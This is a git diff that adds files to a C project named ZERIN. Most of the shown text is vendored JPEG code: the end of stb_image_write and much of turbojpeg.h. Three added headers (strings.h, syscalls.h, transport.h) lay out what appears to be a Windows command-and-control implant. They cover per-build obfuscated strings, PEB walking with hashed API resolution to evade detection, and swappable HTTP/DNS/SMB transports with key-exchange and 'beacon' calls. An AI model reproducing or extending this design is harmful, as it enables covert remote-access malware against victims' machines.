0.58700f*g + 0.11400f*b - 128; + U[pos]= -0.16874f*r - 0.33126f*g + 0.50000f*b; + V[pos]= +0.50000f*r - 0.41869f*g - 0.08131f*b; + } + } + DCY = stbiw__jpg_processDU(s, &bitBuf, &bitCnt, Y+0, 16, fdtbl_Y, DCY, YDC_HT, YAC_HT); + DCY = stbiw__jpg_processDU(s, &bitBuf, &bitCnt, Y+8, 16, fdtbl_Y, DCY, YDC_HT, YAC_HT); + DCY = stbiw__jpg_processDU(s, &bitBuf, &bitCnt, Y+128, 16, fdtbl_Y, DCY, YDC_HT, YAC_HT); + DCY = stbiw__jpg_processDU(s, &bitBuf, &bitCnt, Y+136, 16, fdtbl_Y, DCY, YDC_HT, YAC_HT); + + // subsample U,V + { + float subU[64], subV[64]; + int yy, xx; + for(yy = 0, pos = 0; yy < 8; ++yy) { + for(xx = 0; xx < 8; ++xx, ++pos) { + int j = yy*32+xx*2; + subU[pos] = (U[j+0] + U[j+1] + U[j+16] + U[j+17]) * 0.25f; + subV[pos] = (V[j+0] + V[j+1] + V[j+16] + V[j+17]) * 0.25f; + } + } + DCU = stbiw__jpg_processDU(s, &bitBuf, &bitCnt, subU, 8, fdtbl_UV, DCU, UVDC_HT, UVAC_HT); + DCV = stbiw__jpg_processDU(s, &bitBuf, &bitCnt, subV, 8, fdtbl_UV, DCV, UVDC_HT, UVAC_HT); + } + } + } + } else { + for(y = 0; y < height; y += 8) { + for(x = 0; x < width; x += 8) { + float Y[64], U[64], V[64]; + for(row = y, pos = 0; row < y+8; ++row) { + // row >= height => use last input row + int clamped_row = (row < height) ? row : height - 1; + int base_p = (stbi__flip_vertically_on_write ? (height-1-clamped_row) : clamped_row)*width*comp; + for(col = x; col < x+8; ++col, ++pos) { + // if col >= width => use pixel from last input column + int p = base_p + ((col < width) ? col : (width-1))*comp; + float r = dataR[p], g = dataG[p], b = dataB[p]; + Y[pos]= +0.29900f*r + 0.58700f*g + 0.11400f*b - 128; + U[pos]= -0.16874f*r - 0.33126f*g + 0.50000f*b; + V[pos]= +0.50000f*r - 0.41869f*g - 0.08131f*b; + } + } + + DCY = stbiw__jpg_processDU(s, &bitBuf, &bitCnt, Y, 8, fdtbl_Y, DCY, YDC_HT, YAC_HT); + DCU = stbiw__jpg_processDU(s, &bitBuf, &bitCnt, U, 8, fdtbl_UV, DCU, UVDC_HT, UVAC_HT); + DCV = stbiw__jpg_processDU(s, &bitBuf, &bitCnt, V, 8, fdtbl_UV, DCV, UVDC_HT, UVAC_HT); + } + } + } + + // Do the bit alignment of the EOI marker + stbiw__jpg_writeBits(s, &bitBuf, &bitCnt, fillBits); + } + + // EOI + stbiw__putc(s, 0xFF); + stbiw__putc(s, 0xD9); + + return 1; +} + +STBIWDEF int stbi_write_jpg_to_func(stbi_write_func *func, void *context, int x, int y, int comp, const void *data, int quality) +{ + stbi__write_context s = { 0 }; + stbi__start_write_callbacks(&s, func, context); + return stbi_write_jpg_core(&s, x, y, comp, (void *) data, quality); +} + + +#ifndef STBI_WRITE_NO_STDIO +STBIWDEF int stbi_write_jpg(char const *filename, int x, int y, int comp, const void *data, int quality) +{ + stbi__write_context s = { 0 }; + if (stbi__start_write_file(&s,filename)) { + int r = stbi_write_jpg_core(&s, x, y, comp, data, quality); + stbi__end_write_file(&s); + return r; + } else + return 0; +} +#endif + +#endif // STB_IMAGE_WRITE_IMPLEMENTATION + +/* Revision history + 1.16 (2021-07-11) + make Deflate code emit uncompressed blocks when it would otherwise expand + support writing BMPs with alpha channel + 1.15 (2020-07-13) unknown + 1.14 (2020-02-02) updated JPEG writer to downsample chroma channels + 1.13 + 1.12 + 1.11 (2019-08-11) + + 1.10 (2019-02-07) + support utf8 filenames in Windows; fix warnings and platform ifdefs + 1.09 (2018-02-11) + fix typo in zlib quality API, improve STB_I_W_STATIC in C++ + 1.08 (2018-01-29) + add stbi__flip_vertically_on_write, external zlib, zlib quality, choose PNG filter + 1.07 (2017-07-24) + doc fix + 1.06 (2017-07-23) + writing JPEG (using Jon Olick's code) + 1.05 ??? + 1.04 (2017-03-03) + monochrome BMP expansion + 1.03 ??? + 1.02 (2016-04-02) + avoid allocating large structures on the stack + 1.01 (2016-01-16) + STBIW_REALLOC_SIZED: support allocators with no realloc support + avoid race-condition in crc initialization + minor compile issues + 1.00 (2015-09-14) + installable file IO function + 0.99 (2015-09-13) + warning fixes; TGA rle support + 0.98 (2015-04-08) + added STBIW_MALLOC, STBIW_ASSERT etc + 0.97 (2015-01-18) + fixed HDR asserts, rewrote HDR rle logic + 0.96 (2015-01-17) + add HDR output + fix monochrome BMP + 0.95 (2014-08-17) + add monochrome TGA output + 0.94 (2014-05-31) + rename private functions to avoid conflicts with stb_image.h + 0.93 (2014-05-27) + warning fixes + 0.92 (2010-08-01) + casts to unsigned char to fix warnings + 0.91 (2010-07-17) + first public release + 0.90 first internal release +*/ + +/* +------------------------------------------------------------------------------ +This software is available under 2 licenses -- choose whichever you prefer. +------------------------------------------------------------------------------ +ALTERNATIVE A - MIT License +Copyright (c) 2017 Sean Barrett +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +of the Software, and to permit persons to whom the Software is furnished to do +so, subject to the following conditions: +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +------------------------------------------------------------------------------ +ALTERNATIVE B - Public Domain (www.unlicense.org) +This is free and unencumbered software released into the public domain. +Anyone is free to copy, modify, publish, use, compile, sell, or distribute this +software, either in source code form or as a compiled binary, for any purpose, +commercial or non-commercial, and by any means. +In jurisdictions that recognize copyright laws, the author or authors of this +software dedicate any and all copyright interest in the software to the public +domain. We make this dedication for the benefit of the public at large and to +the detriment of our heirs and successors. We intend this dedication to be an +overt act of relinquishment in perpetuity of all present and future rights to +this software under copyright law. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN +ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +------------------------------------------------------------------------------ +*/ diff --git a/include/strings.h b/include/strings.h new file mode 100755 index 0000000..56ade6a --- /dev/null +++ b/include/strings.h @@ -0,0 +1,10 @@ +#ifndef ZERIN_STRINGS_H +#define ZERIN_STRINGS_H + +#include +#include + +/* ChaCha20-based obfuscated string system (generated per build) */ +#include "obf_strings_gen.h" + +#endif /* ZERIN_STRINGS_H */ diff --git a/include/syscalls.h b/include/syscalls.h new file mode 100755 index 0000000..edbb4e1 --- /dev/null +++ b/include/syscalls.h @@ -0,0 +1,24 @@ +#ifndef ZERIN_SYSCALLS_H +#define ZERIN_SYSCALLS_H + +#ifdef _WIN32 + +#include +#include + +// Polymorphic hash algorithm + pre-computed constants (generated per build) +#include "poly_hash.h" + +// Walk PEB to find a loaded module by its name hash. +void *get_module_by_hash(uint32_t hash); + +// Resolve an exported function from a module by function name hash. +FARPROC resolve_api(uint32_t module_hash, uint32_t func_hash); + +// Convenience macro: resolve and cast in one step. +// Usage: RESOLVE_API(HASH_KERNEL32, HASH_SomeFunc, FuncPtrType) +#define RESOLVE_API(mod_hash, func_hash, type) \ + ((type)resolve_api((mod_hash), (func_hash))) + +#endif // _WIN32 +#endif // ZERIN_SYSCALLS_H diff --git a/include/transport.h b/include/transport.h new file mode 100755 index 0000000..06fae7b --- /dev/null +++ b/include/transport.h @@ -0,0 +1,41 @@ +#ifndef ZERIN_TRANSPORT_H +#define ZERIN_TRANSPORT_H + +#include +#include + +// Transport interface — function pointers allow swapping HTTP/DNS/SMB/etc. +typedef struct transport transport_t; + +typedef int (*transport_init_fn)(transport_t *t, const char *url, const char *user_agent); +typedef int (*transport_send_fn)(transport_t *t, const char *endpoint, + const uint8_t *data, size_t data_len, + uint8_t **response, size_t *response_len); +typedef void (*transport_cleanup_fn)(transport_t *t); + +struct transport { + transport_init_fn init; + transport_send_fn send; + transport_cleanup_fn cleanup; + void *ctx; // Implementation-specific context +}; + +// HTTP/S transport implementation +extern transport_t transport_https; + +int http_init(transport_t *t, const char *url, const char *user_agent); +int http_send(transport_t *t, const char *endpoint, + const uint8_t *data, size_t data_len, + uint8_t **response, size_t *response_len); +void http_cleanup(transport_t *t); + +// High-level transport functions used by beacon +int transport_do_key_exchange(transport_t *t, const char *base_url, + const uint8_t *kx_data, size_t kx_len, + uint8_t **response, size_t *response_len); + +int transport_do_beacon(transport_t *t, const char *base_url, + const uint8_t *beacon_data, size_t beacon_len, + uint8_t **response, size_t *response_len); + +#endif // ZERIN_TRANSPORT_H diff --git a/include/turbojpeg.h b/include/turbojpeg.h new file mode 100755 index 0000000..9e0e385 --- /dev/null +++ b/include/turbojpeg.h @@ -0,0 +1,2809 @@ +/* + * Copyright (C) 2009-2015, 2017, 2020-2026 D. R. Commander. + * All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef __TURBOJPEG_H__ +#define __TURBOJPEG_H__ + +#include + +#if defined(_WIN32) && defined(DLLDEFINE) +#define DLLEXPORT __declspec(dllexport) +#else +#define DLLEXPORT +#endif +#define DLLCALL + + +/** + * @addtogroup TurboJPEG + * TurboJPEG API. This API provides an interface for generating, decoding, and + * transforming planar YUV and JPEG images in memory. + * + * @anchor YUVnotes + * YUV Image Format Notes + * ---------------------- + * Technically, the JPEG format uses the YCbCr colorspace (which is technically + * not a colorspace but a color transform), but per the convention of the + * digital video community, the TurboJPEG API uses "YUV" to refer to an image + * format consisting of Y, Cb, and Cr image planes. + * + * Each plane is simply a 2D array of bytes, each byte representing the value + * of one of the components (Y, Cb, or Cr) at a particular location in the + * image. The width and height of each plane are determined by the image + * width, height, and level of chrominance subsampling. The luminance plane + * width is the image width padded to the nearest multiple of the horizontal + * subsampling factor (1 in the case of 4:4:4, grayscale, 4:4:0, or 4:4:1; 2 in + * the case of 4:2:2 or 4:2:0; 4 in the case of 4:1:1.) Similarly, the + * luminance plane height is the image height padded to the nearest multiple of + * the vertical subsampling factor (1 in the case of 4:4:4, 4:2:2, grayscale, + * or 4:1:1; 2 in the case of 4:2:0 or 4:4:0; 4 in the case of 4:4:1.) This is + * irrespective of any additional padding that may be specified as an argument + * to the various YUV functions. The chrominance plane width is equal to the + * luminance plane width divided by the horizontal subsampling factor, and the + * chrominance plane height is equal to the luminance plane height divided by + * the vertical subsampling factor. + * + * For example, if the source image is 35 x 35 pixels and 4:2:2 subsampling is + * used, then the luminance plane would be 36 x 35 bytes, and each of the + * chrominance planes would be 18 x 35 bytes. If you specify a row alignment + * of 4 bytes on top of this, then the luminance plane would be 36 x 35 bytes, + * and each of the chrominance planes would be 20 x 35 bytes. + * + * @{ + */ + + +/** + * The number of initialization options + */ +#define TJ_NUMINIT 3 + +/** + * Initialization options + */ +enum TJINIT { + /** + * Initialize the TurboJPEG instance for compression. + */ + TJINIT_COMPRESS, + /** + * Initialize the TurboJPEG instance for decompression. + */ + TJINIT_DECOMPRESS, + /** + * Initialize the TurboJPEG instance for lossless transformation (both + * compression and decompression.) + */ + TJINIT_TRANSFORM +}; + + +/** + * The number of chrominance subsampling options + */ +#define TJ_NUMSAMP 7 + +/** + * Chrominance subsampling options + * + * When pixels are converted from RGB to YCbCr (see #TJCS_YCbCr) or from CMYK + * to YCCK (see #TJCS_YCCK) as part of the JPEG compression process, some of + * the Cb and Cr (chrominance) components can be discarded or averaged together + * to produce a smaller image with little perceptible loss of image quality. + * (The human eye is more sensitive to small changes in brightness than to + * small changes in color.) This is called "chrominance subsampling". + */ +enum TJSAMP { + /** + * 4:4:4 chrominance subsampling (no chrominance subsampling) + * + * The JPEG or YUV image will contain one chrominance component for every + * pixel in the source image. + */ + TJSAMP_444, + /** + * 4:2:2 chrominance subsampling + * + * The JPEG or YUV image will contain one chrominance component for every 2x1 + * block of pixels in the source image. + */ + TJSAMP_422, + /** + * 4:2:0 chrominance subsampling + * + * The JPEG or YUV image will contain one chrominance component for every 2x2 + * block of pixels in the source image. + */ + TJSAMP_420, + /** + * Grayscale + * + * The JPEG or YUV image will contain no chrominance components. + */ + TJSAMP_GRAY, + /** + * 4:4:0 chrominance subsampling + * + * The JPEG or YUV image will contain one chrominance component for every 1x2 + * block of pixels in the source image. + * + * @note 4:4:0 subsampling is not fully accelerated in libjpeg-turbo. + */ + TJSAMP_440, + /** + * 4:1:1 chrominance subsampling + * + * The JPEG or YUV image will contain one chrominance component for every 4x1 + * block of pixels in the source image. All else being equal, a JPEG image + * with 4:1:1 subsampling is almost exactly the same size as a JPEG image + * with 4:2:0 subsampling, and in the aggregate, both subsampling methods + * produce approximately the same perceptual quality. However, 4:1:1 is + * better able to reproduce sharp horizontal features. + * + * @note 4:1:1 subsampling is not fully accelerated in libjpeg-turbo. + */ + TJSAMP_411, + /** + * 4:4:1 chrominance subsampling + * + * The JPEG or YUV image will contain one chrominance component for every 1x4 + * block of pixels in the source image. All else being equal, a JPEG image + * with 4:4:1 subsampling is almost exactly the same size as a JPEG image + * with 4:2:0 subsampling, and in the aggregate, both subsampling methods + * produce approximately the same perceptual quality. However, 4:4:1 is + * better able to reproduce sharp vertical features. + * + * @note 4:4:1 subsampling is not fully accelerated in libjpeg-turbo. + */ + TJSAMP_441, + /** + * Unknown subsampling + * + * The JPEG image uses an unusual type of chrominance subsampling. Such + * images can be decompressed into packed-pixel images, but they cannot be + * - decompressed into planar YUV images, + * - losslessly transformed if #TJXOPT_CROP is specified and #TJXOPT_GRAY is + * not specified, or + * - partially decompressed using a cropping region. + */ + TJSAMP_UNKNOWN = -1 +}; + +/** + * iMCU width (in pixels) for a given level of chrominance subsampling + * + * In a typical lossy JPEG image, 8x8 blocks of DCT coefficients for each + * component are interleaved in a single scan. If the image uses chrominance + * subsampling, then multiple luminance blocks are stored together, followed by + * a single block for each chrominance component. The minimum set of + * full-resolution luminance block(s) and corresponding (possibly subsampled) + * chrominance blocks necessary to represent at least one DCT block per + * component is called a "Minimum Coded Unit" or "MCU". (For example, an MCU + * in an interleaved lossy JPEG image that uses 4:2:2 subsampling consists of + * two luminance blocks followed by one block for each chrominance component.) + * In a non-interleaved lossy JPEG image, each component is stored in a + * separate scan, and an MCU is a single DCT block, so we use the term "iMCU" + * (interleaved MCU) to refer to the equivalent of an MCU in an interleaved + * JPEG image. For the common case of interleaved JPEG images, an iMCU is the + * same as an MCU. + * + * iMCU sizes: + * - 8x8 for no subsampling or grayscale + * - 16x8 for 4:2:2 + * - 8x16 for 4:4:0 + * - 16x16 for 4:2:0 + * - 32x8 for 4:1:1 + * - 8x32 for 4:4:1 + */ +static const int tjMCUWidth[TJ_NUMSAMP] = { 8, 16, 16, 8, 8, 32, 8 }; + +/** + * iMCU height (in pixels) for a given level of chrominance subsampling + * + * In a typical lossy JPEG image, 8x8 blocks of DCT coefficients for each + * component are interleaved in a single scan. If the image uses chrominance + * subsampling, then multiple luminance blocks are stored together, followed by + * a single block for each chrominance component. The minimum set of + * full-resolution luminance block(s) and corresponding (possibly subsampled) + * chrominance blocks necessary to represent at least one DCT block per + * component is called a "Minimum Coded Unit" or "MCU". (For example, an MCU + * in an interleaved lossy JPEG image that uses 4:2:2 subsampling consists of + * two luminance blocks followed by one block for each chrominance component.) + * In a non-interleaved lossy JPEG image, each component is stored in a + * separate scan, and an MCU is a single DCT block, so we use the term "iMCU" + * (interleaved MCU) to refer to the equivalent of an MCU in an interleaved + * JPEG image. For the common case of interleaved JPEG images, an iMCU is the + * same as an MCU. + * + * iMCU sizes: + * - 8x8 for no subsampling or grayscale + * - 16x8 for 4:2:2 + * - 8x16 for 4:4:0 + * - 16x16 for 4:2:0 + * - 32x8 for 4:1:1 + * - 8x32 for 4:4:1 + */ +static const int tjMCUHeight[TJ_NUMSAMP] = { 8, 8, 16, 8, 16, 8, 32 }; + + +/** + * The number of pixel formats + */ +#define TJ_NUMPF 12 + +/** + * Pixel formats + */ +enum TJPF { + /** + * RGB pixel format + * + * The red, green, and blue components in the image are stored in 3-sample + * pixels in the order R, G, B from lowest to highest memory address within + * each pixel. + */ + TJPF_RGB, + /** + * BGR pixel format + * + * The red, green, and blue components in the image are stored in 3-sample + * pixels in the order B, G, R from lowest to highest memory address within + * each pixel. + */ + TJPF_BGR, + /** + * RGBX pixel format + * + * The red, green, and blue components in the image are stored in 4-sample + * pixels in the order R, G, B from lowest to highest memory address within + * each pixel. The X component is ignored when compressing/encoding and + * undefined when decompressing/decoding. + */ + TJPF_RGBX, + /** + * BGRX pixel format + * + * The red, green, and blue components in the image are stored in 4-sample + * pixels in the order B, G, R from lowest to highest memory address within + * each pixel. The X component is ignored when compressing/encoding and + * undefined when decompressing/decoding. + */ + TJPF_BGRX, + /** + * XBGR pixel format + * + * The red, green, and blue components in the image are stored in 4-sample + * pixels in the order R, G, B from highest to lowest memory address within + * each pixel. The X component is ignored when compressing/encoding and + * undefined when decompressing/decoding. + */ + TJPF_XBGR, + /** + * XRGB pixel format + * + * The red, green, and blue components in the image are stored in 4-sample + * pixels in the order B, G, R from highest to lowest memory address within + * each pixel. The X component is ignored when compressing/encoding and + * undefined when decompressing/decoding. + */ + TJPF_XRGB, + /** + * Grayscale pixel format + * + * Each 1-sample pixel represents a luminance (brightness) level from 0 to + * the maximum sample value (which is, for instance, 255 for 8-bit samples or + * 4095 for 12-bit samples or 65535 for 16-bit samples.) + */ + TJPF_GRAY, + /** + * RGBA pixel format + * + * This is the same as @ref TJPF_RGBX, except that when + * decompressing/decoding, the X component is guaranteed to be equal to the + * maximum sample value, which can be interpreted as an opaque alpha channel. + */ + TJPF_RGBA, + /** + * BGRA pixel format + * + * This is the same as @ref TJPF_BGRX, except that when + * decompressing/decoding, the X component is guaranteed to be equal to the + * maximum sample value, which can be interpreted as an opaque alpha channel. + */ + TJPF_BGRA, + /** + * ABGR pixel format + * + * This is the same as @ref TJPF_XBGR, except that when + * decompressing/decoding, the X component is guaranteed to be equal to the + * maximum sample value, which can be interpreted as an opaque alpha channel. + */ + TJPF_ABGR, + /** + * ARGB pixel format + * + * This is the same as @ref TJPF_XRGB, except that when + * decompressing/decoding, the X component is guaranteed to be equal to the + * maximum sample value, which can be interpreted as an opaque alpha channel. + */ + TJPF_ARGB, + /** + * CMYK pixel format + * + * Unlike RGB, which is an additive color model used primarily for display, + * CMYK (Cyan/Magenta/Yellow/Key) is a subtractive color model used primarily + * for printing. In the CMYK color model, the value of each color component + * typically corresponds to an amount of cyan, magenta, yellow, or black ink + * that is applied to a white background. In order to convert between CMYK + * and RGB, it is necessary to use a color management system (CMS.) A CMS + * will attempt to map colors within the printer's gamut to perceptually + * similar colors in the display's gamut and vice versa, but the mapping is + * typically not 1:1 or reversible, nor can it be defined with a simple + * formula. Thus, such a conversion is out of scope for a codec library. + * However, the TurboJPEG API allows for compressing packed-pixel CMYK images + * into YCCK JPEG images (see #TJCS_YCCK) and decompressing YCCK JPEG images + * into packed-pixel CMYK images. + */ + TJPF_CMYK, + /** + * Unknown pixel format + * + * Currently this is only used by #tj3LoadImage8(), #tj3LoadImage12(), and + * #tj3LoadImage16(). + */ + TJPF_UNKNOWN = -1 +}; + +/** + * Red offset (in samples) for a given pixel format + * + * This specifies the number of samples that the red component is offset from + * the start of the pixel. For instance, if an 8-bit-per-component pixel of + * format TJPF_BGRX is stored in `unsigned char pixel[]`, then the red + * component is `pixel[tjRedOffset[TJPF_BGRX]]`. The offset is -1 if the pixel + * format does not have a red component. + */ +static const int tjRedOffset[TJ_NUMPF] = { + 0, 2, 0, 2, 3, 1, -1, 0, 2, 3, 1, -1 +}; +/** + * Green offset (in samples) for a given pixel format + * + * This specifies the number of samples that the green component is offset from + * the start of the pixel. For instance, if an 8-bit-per-component pixel of + * format TJPF_BGRX is stored in `unsigned char pixel[]`, then the green + * component is `pixel[tjGreenOffset[TJPF_BGRX]]`. The offset is -1 if the + * pixel format does not have a green component. + */ +static const int tjGreenOffset[TJ_NUMPF] = { + 1, 1, 1, 1, 2, 2, -1, 1, 1, 2, 2, -1 +}; +/** + * Blue offset (in samples) for a given pixel format + * + * This specifies the number of samples that the blue component is offset from + * the start of the pixel. For instance, if an 8-bit-per-component pixel of + * format TJPF_BGRX is stored in `unsigned char pixel[]`, then the blue + * component is `pixel[tjBlueOffset[TJPF_BGRX]]`. The offset is -1 if the + * pixel format does not have a blue component. + */ +static const int tjBlueOffset[TJ_NUMPF] = { + 2, 0, 2, 0, 1, 3, -1, 2, 0, 1, 3, -1 +}; +/** + * Alpha offset (in samples) for a given pixel format + * + * This specifies the number of samples that the alpha component is offset from + * the start of the pixel. For instance, if an 8-bit-per-component pixel of + * format TJPF_BGRA is stored in `unsigned char pixel[]`, then the alpha + * component is `pixel[tjAlphaOffset[TJPF_BGRA]]`. The offset is -1 if the + * pixel format does not have an alpha component. + */ +static const int tjAlphaOffset[TJ_NUMPF] = { + -1, -1, -1, -1, -1, -1, -1, 3, 3, 0, 0, -1 +}; +/** + * Pixel size (in samples) for a given pixel format + */ +static const int tjPixelSize[TJ_NUMPF] = { + 3, 3, 4, 4, 4, 4, 1, 4, 4, 4, 4, 4 +}; + + +/** + * The number of JPEG colorspaces + */ +#define TJ_NUMCS 5 + +/** + * JPEG colorspaces + */ +enum TJCS { + /** + * RGB colorspace + * + * When generating the JPEG image, the R, G, and B components in the source + * image are reordered into image planes, but no colorspace conversion or + * subsampling is performed. RGB JPEG images can be generated from and + * decompressed to packed-pixel images with any of the extended RGB or + * grayscale pixel formats, but they cannot be generated from or + * decompressed to planar YUV images. + */ + TJCS_RGB, + /** + * YCbCr colorspace + * + * YCbCr is not an absolute colorspace but rather a mathematical + * transformation of RGB designed solely for storage and transmission. YCbCr + * images must be converted to RGB before they can be displayed. In the + * YCbCr colorspace, the Y (luminance) component represents the black & white + * portion of the original image, and the Cb and Cr (chrominance) components + * represent the color portion of the original image. Historically, the + * analog equivalent of this transformation allowed the same signal to be + * displayed to both black & white and color televisions, but JPEG images + * primarily use YCbCr because it optionally allows the color data to be + * subsampled in order to reduce network and disk usage. YCbCr is the most + * common JPEG colorspace, and YCbCr JPEG images can be generated from and + * decompressed to packed-pixel images with any of the extended RGB or + * grayscale pixel formats. YCbCr JPEG images can also be generated from + * and decompressed to planar YUV images. + */ + TJCS_YCbCr, + /** + * Grayscale colorspace + * + * The JPEG image retains only the luminance data (Y component), and any + * color data from the source image is discarded. Grayscale JPEG images can + * be generated from and decompressed to packed-pixel images with any of the + * extended RGB or grayscale pixel formats, or they can be generated from + * and decompressed to planar YUV images. + */ + TJCS_GRAY, + /** + * CMYK colorspace + * + * When generating the JPEG image, the C, M, Y, and K components in the + * source image are reordered into image planes, but no colorspace conversion + * or subsampling is performed. CMYK JPEG images can only be generated from + * and decompressed to packed-pixel images with the CMYK pixel format. + */ + TJCS_CMYK, + /** + * YCCK colorspace + * + * YCCK (AKA "YCbCrK") is not an absolute colorspace but rather a + * mathematical transformation of CMYK designed solely for storage and + * transmission. It is to CMYK as YCbCr is to RGB. CMYK pixels can be + * reversibly transformed into YCCK, and as with YCbCr, the chrominance + * components in the YCCK pixels can be subsampled without incurring major + * perceptual loss. YCCK JPEG images can only be generated from and + * decompressed to packed-pixel images with the CMYK pixel format. + */ + TJCS_YCCK +}; + + +/** + * Parameters + */ +enum TJPARAM { + /** + * Error handling behavior + * + * **Value** + * - `0` *[default]* Allow the current compression/decompression/transform + * operation to complete unless a fatal error is encountered. + * - `1` Immediately discontinue the current + * compression/decompression/transform operation if a warning (non-fatal + * error) occurs. + */ + TJPARAM_STOPONWARNING, + /** + * Row order in packed-pixel source/destination images + * + * **Value** + * - `0` *[default]* top-down (X11) order + * - `1` bottom-up (Windows, OpenGL) order + */ + TJPARAM_BOTTOMUP, + /** + * JPEG destination buffer (re)allocation [compression, lossless + * transformation] + * + * **Value** + * - `0` *[default]* Attempt to allocate or reallocate the JPEG destination + * buffer as needed. + * - `1` Generate an error if the JPEG destination buffer is invalid or too + * small. + */ + TJPARAM_NOREALLOC, + /** + * Perceptual quality of lossy JPEG images [compression only] + * + * **Value** + * - `1`-`100` (`1` = worst quality but best compression, `100` = best + * quality but worst compression) *[no default; must be explicitly + * specified]* + */ + TJPARAM_QUALITY, + /** + * Chrominance subsampling level + * + * The JPEG or YUV image uses (decompression, decoding) or will use (lossy + * compression, encoding) the specified level of chrominance subsampling. + * + * **Value** + * - One of the @ref TJSAMP "chrominance subsampling options" *[no default; + * must be explicitly specified for lossy compression, encoding, and + * decoding]* + */ + TJPARAM_SUBSAMP, + /** + * JPEG width (in pixels) [decompression only, read-only] + */ + TJPARAM_JPEGWIDTH, + /** + * JPEG height (in pixels) [decompression only, read-only] + */ + TJPARAM_JPEGHEIGHT, + /** + * Data precision (bits per sample) + * + * The JPEG image uses (decompression) or will use (lossless compression) the + * specified number of bits per sample. This parameter also specifies the + * target data precision when loading a PBMPLUS file with #tj3LoadImage8(), + * #tj3LoadImage12(), or #tj3LoadImage16() and the source data precision when + * saving a PBMPLUS file with #tj3SaveImage8(), #tj3SaveImage12(), or + * #tj3SaveImage16(). + * + * The data precision is the number of bits in the maximum sample value, + * which may not be the same as the width of the data type used to store the + * sample. + * + * **Value** + * - `8` or `12` for lossy JPEG images; `2` to `16` for lossless JPEG and + * PBMPLUS images + * + * 12-bit JPEG data precision implies #TJPARAM_OPTIMIZE unless + * #TJPARAM_ARITHMETIC is set. + */ + TJPARAM_PRECISION, + /** + * JPEG colorspace + * + * The JPEG image uses (decompression) or will use (lossy compression) the + * specified colorspace. + * + * **Value** + * - One of the @ref TJCS "JPEG colorspaces" *[default for lossy compression: + * automatically selected based on the subsampling level and pixel format]* + */ + TJPARAM_COLORSPACE, + /** + * Chrominance upsampling algorithm [lossy decompression only] + * + * **Value** + * - `0` *[default]* Use smooth upsampling when decompressing a JPEG image + * that was generated using chrominance subsampling. This creates a smooth + * transition between neighboring chrominance components in order to reduce + * upsampling artifacts in the decompressed image. + * - `1` Use the fastest chrominance upsampling algorithm available, which + * may combine upsampling with color conversion. + */ + TJPARAM_FASTUPSAMPLE, + /** + * DCT/IDCT algorithm [lossy compression and decompression] + * + * **Value** + * - `0` *[default]* Use the most accurate DCT/IDCT algorithm available. + * - `1` Use the fastest DCT/IDCT algorithm available. + * + * This parameter is provided mainly for backward compatibility with libjpeg, + * which historically implemented several different DCT/IDCT algorithms + * because of performance limitations with 1990s CPUs. In the libjpeg-turbo + * implementation of the TurboJPEG API: + * - The "fast" and "accurate" DCT/IDCT algorithms perform similarly on + * modern x86/x86-64 CPUs that support AVX2 instructions. + * - The "fast" algorithm is generally only about 5-15% faster than the + * "accurate" algorithm on other types of CPUs. + * - The difference in accuracy between the "fast" and "accurate" algorithms + * is the most pronounced at JPEG quality levels above 90 and tends to be + * more pronounced with decompression than with compression. + * - For JPEG quality levels above 97, the "fast" algorithm degrades and is + * not fully accelerated, so it is slower than the "accurate" algorithm. + */ + TJPARAM_FASTDCT, + /** + * Huffman table optimization [lossy compression, lossless transformation] + * + * **Value** + * - `0` *[default]* The JPEG image will use the default Huffman tables. + * - `1` Optimal Huffman tables will be computed for the JPEG image. For + * lossless transformation, this can also be specified using + * #TJXOPT_OPTIMIZE. + * + * Huffman table optimization improves compression slightly (generally 5% or + * less), but it reduces compression performance considerably. + */ + 